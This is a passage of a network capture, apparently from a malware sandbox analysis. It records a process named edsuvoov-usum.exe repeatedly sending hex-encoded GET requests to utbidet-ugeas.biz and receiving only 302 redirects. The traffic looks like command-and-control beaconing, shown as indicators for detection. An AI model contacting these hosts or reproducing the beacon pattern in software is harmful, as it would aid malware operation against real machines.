Sep 7, 2024 15:34:32.500462055 CEST	169	OUT	GET /d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:33.011301041 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:32 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.3	61362	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:33.017327070 CEST	201	OUT	GET /d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:33.497728109 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.3	61364	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:34.507396936 CEST	169	OUT	GET /d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:34.984854937 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:34 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.3	61365	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:34.992314100 CEST	201	OUT	GET /d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:35.500749111 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:35 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.3	61367	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:36.647886038 CEST	169	OUT	GET /d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:37.135874033 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:37 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.3	61368	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:37.142235994 CEST	201	OUT	GET /d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:37.722342968 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:37 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.3	61370	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:38.335453033 CEST	169	OUT	GET /d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:38.808603048 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:38 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.3	61371	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:38.820116043 CEST	201	OUT	GET /d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:39.300848961 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:39 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.3	61373	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:39.460485935 CEST	169	OUT	GET /d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8CC65 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:39.930893898 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:39 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8CC65 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.3	61374	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:39.936824083 CEST	201	OUT	GET /d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8CC65 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:40.427748919 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:40 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8CC65 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.3	61376	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:40.568931103 CEST	169	OUT	GET /d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:41.083467960 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:41 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.3	61377	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:41.089495897 CEST	201	OUT	GET /d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:41.571827888 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:41 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.3	61379	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:43.772919893 CEST	169	OUT	GET /d/N?02F373F88DF473F88DC173D08DF373765E674B50D7F2733825F170CEA3C15DC1BFC343D68D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:44.254594088 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:44 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F373F88DF473F88DC173D08DF373765E674B50D7F2733825F170CEA3C15DC1BFC343D68D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.3	61380	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:44.266042948 CEST	201	OUT	GET /d/N?02F373F88DF473F88DC173D08DF373765E674B50D7F2733825F170CEA3C15DC1BFC343D68D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:44.768011093 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:44 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F373F88DF473F88DC173D08DF373765E674B50D7F2733825F170CEA3C15DC1BFC343D68D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.3	61382	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:45.851108074 CEST	169	OUT	GET /d/N?027026E9E57726E9E54226C1E570266736E41E41BF7126294D7225DFCB4208D0D74016C7E5 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:46.325655937 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:46 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027026E9E57726E9E54226C1E570266736E41E41BF7126294D7225DFCB4208D0D74016C7E5 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.3	61383	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:46.334979057 CEST	201	OUT	GET /d/N?027026E9E57726E9E54226C1E570266736E41E41BF7126294D7225DFCB4208D0D74016C7E5 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:46.821847916 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027026E9E57726E9E54226C1E570266736E41E41BF7126294D7225DFCB4208D0D74016C7E5 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.3	61385	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
